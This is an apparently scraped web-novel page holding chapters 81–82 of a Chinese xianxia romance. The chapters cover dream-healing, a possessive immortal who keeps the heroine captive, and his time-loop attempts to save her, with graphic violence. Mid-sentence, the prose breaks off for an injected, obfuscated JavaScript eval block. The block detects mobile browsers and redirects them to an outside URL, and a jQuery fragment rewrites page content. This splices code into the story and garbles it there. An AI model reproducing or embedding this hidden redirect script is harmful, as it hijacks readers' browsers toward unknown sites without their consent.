新垣鑫眼中,林北柔的背影显得格外小,好像一只柔软的小动物,正在接近最危险最嗜血的存在。 有那么一瞬间,新垣鑫以为自己产生了幻觉。 他看到林北柔,正在朝一头伏在地上的玄麟巨龙走去,她和祂比起来太过渺小,祂轻轻闭眼睁眼,造成的气流变化,仿佛都能伤害到她。 新垣鑫不得不绷紧了全身肌肉,才能克制住追上去拉住林北柔的欲望。 这种时候非常不应该,但一股毒藤一样的情绪却悄然生长,缠绕住他的心脏,并且收紧。 林北柔的话语支离破碎在耳畔回响。 她说,她和魏瑕交往过。 这句话就像开启了六根不净的钥匙,让千头万绪齐涌心头。 好像不沾烦恼的赤子,忽然识得了愁滋味。 这不是他自己的情绪,新垣鑫闭上眼睛,眉宇蹙成一团,用意志抵抗。 不到半秒,他就重新睁开了眼睛,瞳眸中映出林北柔。 他做不到不去看她。 林北柔离司空晏只剩四步了,她慢慢抬起手,示意自己没有任何攻击意图,另一只手也朝他展开,将自己最柔软的肚腹暴露给猎食者,冒着对方一眨不眨眼盯着她,随时可能扑上来咬破她颈动脉的风险。 司空晏一动不动,他只是全神贯注地盯着林北柔,好像她就是他的整个世界。 林北柔轻轻说:“祖宗,跟我回家,好吗?我带你回胜身洲。” 81. 第 81 章 巨大的地下空间,地上是一层薄薄的流水,流水中间有一个灵脉矿石搭建的修炼台。 林北柔穿着单薄的白色修炼服,坐在台上,旁边左右躺着司空晏和荀照乘。 他们都失去了知觉,暂时被封印了元神。 庞将军站在林北柔面前:“你确定要这样做?” 林北柔点点头。 庞将军:“强行进入他人的底层心识,你很可能会迷失在里面,彻底醒不过来,到时候,你会和植物人无异。” 林北柔:“我明白。” 庞将军点头:“既然你做好了准备,我们就开始。” 一个小时前,司空晏听到了林北柔叫他的名字,目不转睛盯着林北柔,一步步朝她走去。 仿佛被月球吸引的潮汐,任何存在都不能阻止它向那轮满月奔涌,哪怕它永远抵达不了。 林北柔向司空晏伸出手,他超前倒去,落入她的怀抱中。 林北柔的体型和他比,小得几乎要淹没在他怀中,司空晏双臂揽住她的腰背,用力箍紧她,林北柔对外只露出个后脑勺。 然后,她发动了天赋。 释放出曾经给司空晏治疗过元神的白光,像绵云一样裹住司空晏的元神,让阳光和养分充分地滋养元神心府,慢慢释放到四肢百骸。 司空晏头埋在她肩膀上,失去了意识。 新垣鑫单膝跪下,看着林北柔说:“我不会让你出事的,我会叫醒你。” 林北柔朝他笑了笑:“那就多谢你了,新垣少校。” 新垣鑫退到了修炼台边缘,那里是一个阵眼,他盘膝坐下,一手平放在膝盖上,一手握住一把垂直的漆黑长剑,剑鞘抵住阵眼,担当了林北柔的守护者,就像一个来自古代的剑士。 庞将军退出了修炼室,进入修炼室后方的操作室,启动了修炼台。 刹那间,繁星闪烁,仿佛置身太空,一切都变得幽暗寂静。 下一秒,林北柔睁开了眼睛。 无边无际的火海,喷发出的羽毛状火焰,就像日珥一样。 林北柔分不清方向,不知道这是谁的梦魇,该往哪里去。 火海中传来遥远的哭嚎,尖利惨痛,戛然而止。 林北柔:“……谁在那边!” 她寻找声音方向,跑了过去,前方出现了很多奇形怪状的东西。 他们是生前为人的东西变成的非人。 被烧得千奇百怪,狰狞地在地上爬着,被倒栽葱插在地上,只露出腰下的部分。 他们身上浮现出黑色的如烟如缕的蝇头小字,记录着他们生前的罪行。 他们都是修士,犯下了杀害无辜者,拿凡人当炼材,糟践人命,制造战争,残害女人和幼儿,种种罪业。 如同业火炼狱。 刺耳的金属刮擦声传来,黑与红的光影中,出现了一个庞大的身影。 阴影流动,经过之处,火焰都变得黯淡。 数条蜿蜒的龙尾在地上无声移动,动静轻得像不存在。 然而滑过去时,但凡沾到气息的罪人,全都被压扁,贴在了地上,变得比纸还薄,血糊滋啦的,还活着,用眼球,用半张嘴,继续哭嚎着。 那个身影恍若未闻,拖着身上缠绕的锁链,游弋而来。 上身是人的躯体,高大健壮,肩腰臂胯的比例就像造化亲手雕塑,皮肤上飘曳着长长的火焰。 头的位置,环绕着一圈漆黑矿石和金属熔成的环形面具,完全遮去了他的头脸。 林北柔:“荀照乘……司空晏!” 荀照乘听不见她的声音,他似乎没有意识,只凭本能行动。 他左手拖着一把烧毁的重剑,检查那些罪人,每次重剑和地板撞击出火星,都会有新的罪人被他拖入炼狱。 林北柔直接快步跑了过去,释放出灵力。 珍珠光晕一样的灵力穿过火焰,落在了荀照乘身上。 荀照乘转身挥起重剑,抬头时,林北柔从面具下方,瞥见了他黑暗中一闪即逝的瞳眸。 那里没有熟悉的温度,只有一片混沌。 重剑劈落,羽火如星雨万千零落,血色模糊了视野。 下一秒,她一身冷汗地醒来,周围环境变了。 新的梦境。 刚刚她释放出去的灵力起了作用,梦境变化了形态。 夜晚,星辰高悬,山雾湿凉,藤萝薜荔散发幽芳,是她无数次午夜梦回伫立的地方。 从山道外看下去,一片云海铺开,在月色和星光下,无边无际,银涟流淌,与天尽头交接处,呈现一线淡淡的乳白,就算从这里跳下去,也会笔直坠落很久。 然而云顶峰远处的千灯殿,乌沉沉的飞檐翘角,梁木风廊,倒映出不断波动的赤橘光芒。 炼丹熔炉开启了。 林北柔想也不想,点地轻掠,瞬间闪到了殿内,在这里她又恢复了修士身体,简直健步如飞。 一个兵修宗主,一个太乙天都掌门,相貌都是鼎盛之年,诧异地转过头来看着她。 他们旁边,两个侍从抬着一副担架,担架上躺着一个不能动的青年。 那青年本来面如死灰,看到她只会,眼珠微微转动。 兵修宗主眯起眼睛:“你是何人……” 他以为林北柔是哪个峰头的年轻内门弟子。 林北柔缓缓抬起手,张开五指。 林北柔:“无上清凉心剑剑尊,弟子林北柔,请碎虚剑——” 她张开手,空气发出细微振动,旋即金石之音破空而来。 银黑长剑嗖地出现,铛啷一声,将自己严丝合缝嵌入林北柔手中。 这是司空晏的心剑,成为他标记过的心誓道侣后,林北柔也可以召唤它,司空晏告诉过它,他不在的时候,要守护林北柔。 既然这里是司空晏或者荀照乘的元神心府,林北柔就试了一试。 没想到真的把它叫出来了。 太乙天都掌门面露震悚,察觉不妙,急急命令侍从:“快把他投入炼丹炉——” 侍从马上抬起担架,担架一头朝圆形的丹炉洞口倾倒。 下一秒,剑光乱窜,两个侍从凝住,上半身从腰部齐齐滑了下来,被斩成两段,血糊咕涌。 兵修宗主目眦欲裂:“来人!有魔孽——” 剑光将他手脚切断,切得太丝滑了,以至于手腕脚腕只出现了血线,身体看似还连着,就像快刀片豆腐。 他僵在原地,喉咙呵呵作响。 太乙天都掌门感觉到了那股他不能反抗的威压,来自心剑剑尊的压迫感,宛如法相天地,不是他能靠意志对抗的。 他转身就跑。 林北柔如法炮制,将他也切了,太乙天都掌门同样凝固在原地,还保持着逃跑的姿势。 林北柔随手一挥,风力转动,将两个人和侍从们卷了起来,扔进了金黄金黄的炼丹炉。 “啊啊啊啊——”撕心裂肺的惨叫消失在丹炉熔岩一样的光芒中。 林北柔走过去跪在担架前,珍珠白的光晕笼罩了青年,解除了他中的毒术。 青年慢慢坐了起来,左半边脸有烧毁的痕迹,右半边脸完美无瑕,他目不转睛看着林北柔。 良久,青年嗓音沙哑开口:“你是谁?” 林北柔:“……我是林北柔。” 荀照乘依然一眨不眨眼地望着她,眼睛深棕带赤,宛如血珀:“以后,你跟着我。” 荀照乘恢复了修为,做的第一件事就是捣毁了整个太乙天都的势力结构,杀了很多不服他的人,直接血洗所有峰头,登上了掌门之座,林北柔站在他身后,抱着碎虚剑,看着这一切。 林北柔能感觉到,司空晏元神心府的温度在下降,那种炽热窒闷的感觉终于消散了大半。 看来这种发展是对的。 荀照乘终日不让她离开自己视线,也不让她离开自己身边,林北柔都对他千依百顺。 睡觉前,荀照乘把她抱到膝头坐着,替她擦干沐浴后湿润的长发,林北柔和他眼神交汇,他眼眸如盛着一个琥珀琉璃仙境,慢慢朝林北柔倾身,烛光颤动,直至熄灭。 就这样过了数年,荀照乘开始突破境界,他在水中拥住林北柔,低声在她耳畔诉说。 “我会守护你,让你安全地活下去,不要离开我。” 林北柔抱住他的脖颈,点了点头。 荀照乘逐渐向她记忆中后来的司空晏靠拢,并没有那种阴间致死的味道,他只是偶尔很阴暗,其他时候,他甚至会看着她笑,等她转过身,才捕捉到他脸上未散的笑意。 “你在干什么?” “看着你。” 元神心府最后一丝炎热消散,终于回归完全的清凉。 那种焚天毁地的梦魇业火终于消退了。 荀照乘从后面抱住她,每天晚上都用同一种姿势,拥她入眠。 梦境开始模糊,林北柔感觉到了久违的安心。 这下回到现实以后,总算可以把荀照乘和司空晏叫醒了。 下一秒,林北柔睁开眼睛。 她衣衫凌乱地踩在床上,头发乱翘,像只奓毛的野猫,弓着脊背做出防御姿态,愤怒地叫嚷:“我不喝!” 她对面,不是荀照乘,是司空晏,后来那个她最熟悉的阴间祖宗。 这儿依然是云顶峰星天寮,她在司空晏的寝殿内。 司空晏站在床前,看着缩到最里面的林北柔,眼神阴柔,手里端着一碗汤药:“你受伤了,不喝药怎么好?” 林北柔听到这句话,才感觉到左肩很疼,她低头,看到左肩被包扎了起来,血渗透了纱布。 林北柔疑心万分地望着她。 这是她刚刚和司空晏认识不久的时期。 她是早起去林子里修炼时遇到他的,他躺在树干上,眼帘半阖朝下看着她,感觉人快睡着了。 林北柔吓了一跳,结果对方出声,指点了她两句,她修炼的瓶颈就突破了。 “多谢前辈!”林北柔激动得不行。 要完成任务,她必须进入太乙天都最核心的地方,云顶峰。 但云顶峰外围的内门弟子,个个都是精英中的精英。 而云顶峰内,以一条线为界,里面都是禁地,只有老祖座下的神伶才能出入,神伶们都是人偶傀儡,并非活人。 要不是遇到这个无名前辈,林北柔只能卡关了。 一开始,林北柔以为司空晏是某个内门的弟子,不怎么起眼的那种扫地僧。 他每次指点她的话,都让她豁然开朗。 因为司空晏穿着最朴素的无品级服饰。 他会听她讲话,不会像其他人一样当她是空气,排挤她。 不管她说的事多么鸡毛蒜皮,司空晏都会安静聆听,眼神落在她身上。 有时候林北柔练累了,中途休息,迷迷糊糊睡着,醒来会发现司空晏坐在她附近,为她守着,山雨落下来了,没有淋湿她,因为司空晏撑开了透明的结界。 结界外,山雨迷蒙,形成一个朦胧微白的天地。 林北柔感觉内心宁静,忘了任务,可以只是看雨,听雨,旁边有人陪着,短暂地真正沉浸在当下。 有一次,林北柔坠落悬崖,是司空晏抱住了她,有惊无险将她送回地面。 林北柔吓得病恹恹的,三天都没修炼。 “……为何这么惊吓?我不是说了,我会保护你么。”司空晏坐在她榻沿,摸了摸林北柔散在床铺上的发梢。 林北柔:“我有恐高症。” 司空晏故作惊讶:“怪不得你修炼的时候从来不御剑离地超过三尺。” 林北柔无言以对,转过身把脸埋进枕头里。 她听到背后响起一阵轻笑。 之后,林北柔每天早上都会在林子里遇到他,还会跟他打招呼,和他分享自己的生活小事。 “师兄,我想进云顶峰当内门弟子,该怎么去啊?”林北柔问。 无名师兄瞥了她一眼,黑魆魆的眼睛在露水闪烁的晨光中,映照出奇异的光点。 “你想去云顶峰?为什么。”他缓缓开口了。 声音像最古老的古琴琴弦,压在林北柔耳膜上擦过。 “我想见一见太乙老祖他老人家长什么样子。” “……好。” “嗯?” 林北柔以为自己认识了一个很好的前辈。 直到他将她关进了小黑屋。 司空晏:“今天我要带你去一个地方,你不是想进云顶峰吗,去了那边,你就可以见到太乙老祖了。” 林北柔喜出望外:“真的吗。” 他把她带到了一个八角形空旷大殿,中间有同样的八面祭坛,接入高不见顶的穹顶,上面点满了灯,起码超过一千盏,花雾浓氲,灯火荧煌,如千斛明珠照夜。 林北柔:“这里……好美,这是什么地方?” 他站在她身后,像一个过于高大的阴影,她转身面向他时,他又显得暖玉生辉,与世无争。 司空晏微微一笑:“是你以后要一直待着陪我的地方。” 林北柔:“什么?” 司空晏继续微笑:“我就是太乙老祖。” 林北柔:“……” 林北柔:“…………” 之后,林北柔就被软禁在了云顶峰。 她的生活质量达到了前所未有的水平,想睡到多晚起就多晚起,再也没有同排宿舍其他弟子吵醒她。 每天可以无限量享用灵露制作的糕点和果茶,还有灵兽产的灵乳,味道比最天然的牛奶更新鲜香浓,没有半点腥味,还可以做出各种奶酪,撞奶,双皮奶等点心。 她穿的衣服,从内到外,都换成了最柔软的丝织品,胜身洲几千公斤的稀世原料,才能提炼出三四两重的灵丝。 那些外面修士花全部身家拍卖的珍贵灵矿和珠玉宝石,司空晏像送玩具一样,整箱整箱送给她,还让太乙天都最好的炼器师,给她打造成各式各样的随身饰品。 前提条件是,她每天都必须被他抱着入睡,醒来也在他怀里,不能离开他的视线。 哪怕沐浴更衣,也最多只能隔着半透明的屏风,他随时可以走进来,丝毫不在意她脸上的尴尬和恼羞愤慨。 夜半林北柔偶尔惊醒,会对上司空晏没有睡意的眼睛,他就这样注视着她,不知道看她看了多久。 林北柔都要疯了。 她感觉自己随时会被他吃掉,他还没有下嘴,只是还没有享受够玩耍一只不能反抗的弱小宠物的乐趣。 林北柔尝试出逃,司空晏甚至都没有来追。 他总是有各种无招胜有招,将她带回云顶峰。 林北柔实在没办法了,兵行险着,结果意外被毒虫咬成了撕裂伤。 醒来后,她肩膀上被上了药,包扎得很干净,床铺也新换了,殿内点了熏笼。 司空晏过来了,让她喝药。 林北柔满心疑神疑鬼,觉得药里面肯定有东西,司空晏想对她做什么不好的事。 司空晏望着她:“喝药,不然毒发之后,你会很疼。” 林北柔一言不发,戒备万分地盯着他。 司空晏:“这是魔域最毒的毒虫,撕咬伤这么严重,你想虐待自己吗?” 林北柔摇了摇头。 司空晏的表情从不解到仿佛渐渐明白了什么,他的表情并没有恼怒或者阴戾,而是露出一种失望,仿佛是一只孤独的野兽,被人类迫害驱赶,放逐到了荒野,流浪许久,救回了另外一只柔软的小动物,小动物却撕咬他,把他的好心扔砸在地上。 司空晏若有所思:“你觉得我会在药里加东西,对你做坏事。” 林北柔睫毛抖了抖,她不知道为什么,司空晏的表情让她心脏缩了一下。 司空晏很轻地说:“我说过的,我会一直保护你。” 司空晏端着药,亲自喝了一口,示意他没有放任何可疑的东西,然后转身离开了。 一炷香后,林北柔伤口毒发,疼得死去活来,什么意志力什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14162138|126507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 思考都飞到九霄云外,眼泪都出来了,也不知道自己在哭,直到一双手扶起她,把她放回被窝。 林北柔意识模糊,有玉做的汤匙喂到嘴边,药已经不烫了,温温凉凉的,带点清甜,很好喝,她这次没有抗拒,迫不及待把药都喝完了,肩上火灼一样的疼痛很快消散了下去。 林北柔疲惫地闭上眼,在司空晏怀里睡着了。 伤口好转过了两天,林北柔去院子里散步,沿着小路一直走,经过了竹林,松林,幽暗葱茏的古木间隙,露出久违放晴的蓝天。 林北柔心情好转,前方树梢稀朗,漏下一片丝帘般的阳光,走出去是薄雪未消的悬崖。 司空晏坐在那里。 他的背影在苍穹下也变小了,阳光在动,他的身体没有动,在晴空下显得很安静,还很孤独。 林北柔停下脚步,望着他静坐的背影,心脏又小小地缩了一下。 那碗药里面确实没有其他的东西,反而让她伤口好转,也不再疼了。 司空晏确实如他所说,一直在保护她,守护她的安全,只是他的表达方式不太能让她接受,保护她,就是把她软禁在云顶峰上吗。 脑海里一个很小的声音开口了:“你又不是不能去太乙天都别的地方,只要给司空晏说一声,他就会让神伶陪你去,何况,司空晏树敌众多,他不让你出去,也是怕离开他的领域,会有魔修刺杀你,你这次不就中招了吗,要不是司空晏,那个魔修的毒靠你自己能解吗。” 她怀疑司空晏,压根不领他的情,司空晏露出的表情,似乎很受伤。 林北柔面露挣扎,一股内疚的情绪爬上心口。 司空晏的背影忽然晃了晃,旋即倒在了雪地里。 林北柔睁大眼睛:“……司空晏!” 她连忙跑了过去,扶起长发沾满了残雪的司空晏,司空晏陷入了昏迷,林北柔从未遇到过这种情况,慌慌张张喊来了神伶。 几个神伶护送他们回到殿内,将司空晏放在了软榻上。 林北柔紧张地问:“他怎么了?” 神伶侍卫长探了探司空晏的脉搏,用人偶特有的无感情但认真的声音说:“老祖前些天用心头血熬制解毒汤药,元神虚耗,过于疲乏,不用太过担心,睡几天养养身体,就恢复了。” 他们为司空晏燃好了暖炉,送来了加了药草的清水和干净的帕子,又为林北柔拿来了果茶点心,就退下了,让司空晏安静休息。 林北柔摸了摸司空晏发烫的额头,绞了帕子,盖上司空晏的额头。 原来解毒的汤药是他的心头血做的,怪不得一秒起效,在胜身洲,但凡天阶大能,身上每一滴血都十分宝贵,形同天材地宝,更何况心尖血了,取一滴就要损耗百年修为。 林北柔良心隐隐作痛。 等到司空晏醒来,眼睛因为反噬而暂时失明,林北柔就更内疚了,主动示好,亲自为看不见的司空晏喝药。 “不必担心,也就几天的事,我马上就能看见了。”司空晏慢慢地说,同时张开嘴,抿了口她送到他唇边的汤匙。 林北柔盯着司空晏柔软的嘴唇,并不算那种削薄无情的唇,反而感觉淡红饱满,唇棱温润起伏,看着就很好亲的样子,等到司空晏发出疑惑的“嗯?”,林北柔才骤然回神,按捺下心跳,一声不吭继续喂他喝药。 有什么看不见的东西在悄然滋长,升温。 等到春天来临,林北柔和司空晏的相处变得很自然了。 他对她很克制,平时只是有点爱盯人,林北柔一开始毛骨悚然,久了也就习惯了。 除非她主动和他身体接触,否则他是不会碰她的。 明白这一点后,林北柔越来越安心,像一只过了试探期,确定了自己安全的小动物,越发大胆,敢跳到野兽爪子上,甚至敢爬到他背上了,野兽只是懒洋洋地望着她,趴着休息,随便她折腾。 夏天,温泉池中,照样以花瓣为界线,司空晏在这边,她在那边,司空晏闭目养神,她悄悄挪过去,第一次主动戳了戳司空晏的肩膀,司空晏拉过她手腕,在林北柔尚未反应过来之际,将她拉入怀中,共同沉入水里。 花瓣连同浅碧水波温吞晃荡。 直到林北柔呼吸不过来,拍打他肩膀,他才放开林北柔的嘴唇,带她浮出水面,林北柔趴在他肩膀上,大口大口呼吸,体型差让他抱起她就像抱一个没有重量的小动物,肩背和腿部都被托举着,像坐在月亮船上一样安全。 司空晏修炼的时候,偶尔会走火入魔,林北柔就用灵力治疗他的元神,她也不知道自己怎么产生的灵力,那是珍珠光晕一样的白色灵力,云朵棉花一样揉搓在司空晏的元神上,洗净了反噬带来的污浊魔气。 于是,治疗司空晏成了林北柔的日常之一,治疗过程中,她的修为也会莫名其妙向上涨。 林北柔发现这个过程很像美容,每次她都当自己在给祖宗做面膜spa,还很有心得。 司空晏:“林北柔。” 林北柔:“嗯?” 她专心致志把云朵抹在司空晏元神上,涂面膜,涂涂涂,冰冰凉凉很舒服。 司空晏用一种平淡的调子说:“和我共赴踏虚境界,双生莲台。” 林北柔没出声,她都没理解这句话是什么意思。 司空晏很了解她了,知道她对胜身洲的常识一知半解,换了个说法:“和我结成心誓道侣。” 林北柔:“……” 林北柔:“!!!” 她心脏狂跳,任务品所在地十分凶险,靠她一个人不能抵达,成为了司空晏的心誓道侣,她会获得千层无敌buff,取得任务品,如同探囊取物。 林北柔艰难地呼吸,做了好几秒心理建设,点了点头。 三百年很漫长,也很短暂,她终于来到了传说中的灵圣之地,见到了任务物品,太初灵核。 林北柔不知道该怎么走出最后一步。 她发过誓了,她不会离开司空晏。 ……除非,她死去。 林北柔深思熟虑,找到了唯一解决办法。 只有她死去,司空晏才不会再对她这么执着,他再厉害,也还没有成神,他追不到另一个位面。 魔域最恐怖的大能,实力最接近司空晏的一个魔祖,开始出手争抢太初灵核。 林北柔拿到了灵核,在魔祖要偷袭司空晏时,替他挡了一下,司空晏眼睛睁大,露出了林北柔没见过的表情。 她看着他,倒在了他怀中,分离的时刻终于来了,感觉特别不真实。 她胸口的伤开始侵蚀,就连司空晏也没办法修补。 司空晏握住她的手,他的元神延伸铺展,所过之处,一切活物灰飞烟灭,魔祖带着难以置信之色,化成齑粉。 司空晏一眨不眨眼地望着她:“没事的,你肉身没了,我可以把你元神找回来,这次我给你做一个新的身体……” 林北柔身体化作光点,散落风中,光芒渐弱,像飘远的蒲公英种子,再也看不见。 林北柔完成了她的任务,太初灵核无形无色,附着在了她的灵魂中,被她带回了现世。 “你做得很好,林北柔。”甲方说。 司空晏到处都找不到林北柔的元神。 他以为是那个魔祖的余党在作祟报复,凭一人之力,近乎荡平了整个魔域,上穷碧落下黄泉,却依然找不到林北柔的元神。 久而久之,司空晏觉得林北柔在跟自己捉迷藏,或许她只是随机刷新在哪个角落了。 他慢悠悠地寻找着,锲而不舍地寻找着,其性不可移,其执不可夺。 直到他来到胜身洲的尽头,连地表水也没有的地方,遇到了一个苦行老人,对方告诉他,林北柔来自方外的方外,天外之天。 司空晏坐了很久,仿佛无法消化一样,还随着老人苦修了一段时间。 最初的冲击终于过去,钝痛开始浮现,他终于缓过神来,明白了一个不争的事实。 林北柔离开了他。 她抛弃了他。 82. 第 82 章 司空晏走火入魔了。 他已是踏虚境界,走火入魔不会让他修为倒退,反而会让他进入一种玄之又玄的境界。 他的意识穿越到了现世,林北柔所在的世界。 司空晏感觉自己元神每个分子都浸透了毒液,他就像一条蜿蜒在暗处的毒蛇,想要狠狠咬点什么。 ……想咬林北柔,随便哪里都好。 司空晏控制了一个身份很高的陌生人,借助他找到了回到现世三年之后的林北柔。 林北柔成为了一个正常的普通人,过着普通的生活,她的生活质量比以前好了。 她认回了周阆屿,周阆屿也和他们的母亲林子倩相认了。 林北柔不再有青春永驻的修士身体,看起来比以前成熟了几分,头发还是一样长,她看上去大致是放松的,心情不好不坏,眼神深处,有一种隐藏得很深的迷茫。 司空晏带着兜帽,走到了林北柔附近,看着她。 林北柔用积攒的年假和存款出国旅游了,在风景区的长椅上,等待去买东西的朋友。 这里俊男美女很多,往来穿梭的人群中,林北柔目光偶尔会在某个高大修长比例出类拔萃的背影停留一秒,旋即不感兴趣地移开视线。 司空晏走上前去,离林北柔越来越近,林北柔似乎感觉到了什么,迟疑地朝他这边转过来。 下一秒,林北柔动作停下来,忽然眨了眨眼,像是有些困惑,又像是被强行按下了关机键,缓缓倒了下去,手中咖啡洒落一地。 司空晏冲了过去,抱起林北柔,她像睡着了一样,只是没了呼吸。 他还没来得及走到她面前,打个招呼,再慢条斯理好整以暇地报复她,就再一次失去了她。 司空晏心神剧痛之下,意识回到了胜身洲,这次他反噬太严重,境界跌落了好几层,不能再穿过去了。 司空晏醒来后,开始闭关,修炼了七千年。 上古有大椿者,以八千岁为春,八千岁为秋,他刚好走到了暮春时节。 直到境界已成半真仙,早已可以飞升,却没有飞升。 朝来寒雨晚来风,这是个适合远游的天气。 司空晏弄清楚了林北柔为什么会突然死在他眼前,那是天道在阻挠他,既然这样,他就毁掉那个天道。 这次,他杀去了林北柔所在的世界,找到了灵脉底层的元初之地,那里是世界的起源,时间诞生之地。 他看到了时间之树,无数枝桠,延伸出无数个平行时间线,里面有无数个林北柔。 和他相处三百多年的那个,是主干世界的林北柔。 司空晏选择了其中一个世界,穿了进去,一开始就向林北柔表明了身份,不顾林北柔反对,将她带到了与世隔绝的孤岛上,长期保护性软禁,衣食住行,娱乐运动,物质精神双重精心照料,像养花人饲养一盆全世界仅有一朵的花。 林北柔还是意外于睡梦中死去,朝霞照在她睡颜上,似乎做了个有司空晏的美梦,唇角还残留着仅仅对他绽放的微笑。 司空晏冷静地处理完了后事,将她葬在岛屿上,一个秘密花园,和林北柔第三次告别。 他回到了主流社会,找到了那些世家,漠视一切规则,所过之处,全成了鲜血和死亡铸就的废墟,他成为了那些人的公敌,用一种简单粗暴直接的方式,弄明白了一些复杂的线索。 林北柔的天赋被转移了。 属于她的运数,被那些人提前转移走了,林北柔才会死。 要修正一切,只有进行一场死亡屠杀的试验。 司空晏回溯到了另外一条时间线上。 这次他没有马上接近林北柔,替林北柔清理掉她周围的一切不利因素,杀了所有做局的幕后之人和他们的家族。 他走过的地方,血流成河,尽是断臂残肢,每一个沾染了不义之利的人,不管男女老少,全都弹指间被抹杀。 司空晏的白衣变成了血衣,脸上和剑上也都是森冷的血腥气。 他们都该死,他们都要死。 事情和他想的不一样,他似乎想得太简单了,天道回敬了他。 杀戮破坏了能量平衡,导致了蝴蝶效应,林子倩和周阆屿意外死去,林北柔陷入了自责的梦魇,元神崩溃,选择了沉睡,将自己永远关在那个只有她自己的梦中世界,拒绝了司空晏元神的接入。 林北柔依然在睡梦中离开了他,这次她没有笑,眉头是皱着的,脸也皱巴巴的,像受了天大的委屈。 黑暗星空下,司空晏坐在她坟前,这次思考了很久,久到道心本相都出来了。 银灰色长发,白色修士里衣,坐在水上,目光无悲无喜。 “这么长时间,你都是随心所欲,自己想怎么做,就怎么做,但那是她的世界。” “你有没有想过,换成她会怎么做?” 司空晏睁开了眼睛,站起身来,重新回溯了时间,这次他选择了一个很早的时间枝桠。 司空晏开始尝试用拯救代替杀戮。 他拯救的第一个人,是林北柔的父亲,结果不对劲,依然失败了。 反复试验后,司空晏发现,太早逝世的人无法被更改结局,死亡和存活有着天然的等价能量交换。 他望着被母亲牵着的林北柔,原来她小时候是这个样子的,和后来不一样,有点太瘦小了,看上去像只先天体弱的小猫小狗,一窝里总是抢不到食物,林北柔感应到了什么,抬头看向大树下逆光的人影,对方却在她看到之前,转身离开了。 司空晏回到了更早的时候,林北柔刚出生,她活了下来,她的双胞胎兄长没有,怀孕时他们母亲的胃口不太好,可能这就是为什么林北柔小时候偏瘦弱。 第四次,司空晏尝试拯救的人是周阆屿,事情终于开始变得不一样了。 周阆屿也是个天赋者,他的命运和林北柔息息相关,司空晏发现,只要周阆屿活下去,林北柔的命运就会出现转机。 如果他们的母亲林子倩意外死亡,这个转机就会化为乌有。 司空晏在无数平行世界看到,林北柔的母亲会在天劫中意外离世,林北柔和周阆屿也会在不久后或死去或失踪。 这就是承接天命的代价。 司空晏尝试剥离他们身上的天赋,把两个小孩变回普通人,结果无一例外失败了。 道心本相开了口:“你的机会不多了,回溯太多次,时间树会招来元初混沌,你的元神会被混沌气息侵蚀。” 果不其然,司空晏在不断的回溯中,开始遗忘,片段性的失忆逐渐严重,司空晏冷笑了起来,把重要线索刻在了元神里,对其他修士来说无异于疯子行为。 司空晏要的就是天道忍不住出手,一旦它坐不住,他的机会就来了。 他早就在长久反复的回溯中布下了局。 魏瑕诞生了,他是司空晏给自己元神魂魄打造的容器,顺利攫夺了灵脉的元初力量,成为了一号,连天道也不能干预。 魏瑕深入灵脉禁区,发现了灵脉的秘密,江河湖海,生者和死者的怨念融入其中,导致了无法消解的污染,并通过城市饮用水系统进入了人体,恶性循环。 普通人一旦沾上污染,就容易在天灾异数中遭遇劫难。 魏瑕即使失忆了,也还是记得,去林北柔家里,给她家装上了全副防污染的装置。 这次试验验证了司空晏的想法,林北柔的母亲很安全地活到了天劫之后,周阆屿也没有出事,最重要的是,林北柔活着。 那些窃取了林北柔运数的世家之人,不能简单杀掉,之前直接杀莫衡等人,都会导致失败。 司空晏利用对方的贪婪,收回了他们窃取来的东西,对方遭遇了因果反噬。 司空晏饶有兴致地笑了起来,残谑的眉眼中,有冷静的疯狂。 林北柔是他的,谁也不能碰,谁要跟他抢,那他就让其存在消失,哪怕是天道本身。 司空晏耐心地研究着那些支持旧日天道的世家们,他以前从来没有看过这些蝼蚁般的凡人一眼,好像巨人看蚂蚁搬家一样,无聊且没有意义。 这些蝼蚁自诩高贵,将自己和其他凡人区分开,自封为世家,和那些境外的应劫派勾结,认为自己是被选中的精英,其他普通人都是愚民,是可以被牺牲掉的矿渣。 他们狠戾不仁,贪天之功以为己力,偏偏作出一副道貌岸然之态,将视万物众生为刍狗的天劫,篡改成一种另类的筛选。 司空晏最喜欢看这些人功亏一篑时,那种矫揉造作的面具裂开,露出狰狞丑陋的表情,真是又恶心又有趣。 这样有毒的情绪,每当看到林北柔时,就会平静下来。 注视着林北柔做那些最日常的小事,能让他从污秽中抽离,感觉到内心很宁静。 不过还不到合适时机,他没有现身,而是通过龙灵在看林北柔。 林北柔和他有奇怪的心灵感应,她明显能感觉到他的注视,四下无人时,她会抬头东张西望,脸色有点紧张,又有点期待,那种反应……几乎称得上可爱。 像一只小型猎物遭遇了几次抓住又放走自己的猎人,不确定是该逃跑,还是顺从地原地不动,等待对方现身,将自己带走。 这让他内心涌动着轻盈上升的东西,一串一串的,像风中飘向蓝天的肥皂泡,像气泡水中细腻的小小气泡。 唯一让他微感心烦的,是道心本相总是出来烦他。 “你到底是为了什么修道,你离心剑指引你的路,越来越远了。” 司空晏嘲笑他:“你舍得离开她?” 道心本相沉默了。 - 林北柔感觉自己睡了一万年,醒来差点想不起自己名字。 她记得之前荀照乘被心魔侵袭,陷入昏迷,他是司空晏的另一个自己,所以身为魏瑕的司空晏,也受到了影响。 庞将军让他们进入了净化室,荀照乘和司空晏躺着,林北柔进入他们的心识世界,破解心魔,新垣鑫在旁边守阵。 室内光线很昏暗,从天花板和墙壁的材质看,她不像是在混凝土建筑里,更像是在一个临时露营的营房之类的地方,也像面积很大的帐篷,床也很矮,她身上盖着法兰绒毛毯,毛毯边缘盖过她的嘴唇,很温暖。 林北柔含混地唔了一声,翻了身,刚好看到有人走进帐篷。 对方很熟悉,却不是三个司空晏中的任何一个。 “你醒了?”周阆屿三步并作两步来到她面前,蹲下来检查她的情况,手放到了她额头,然后拿了床头柜的一杯水递给她 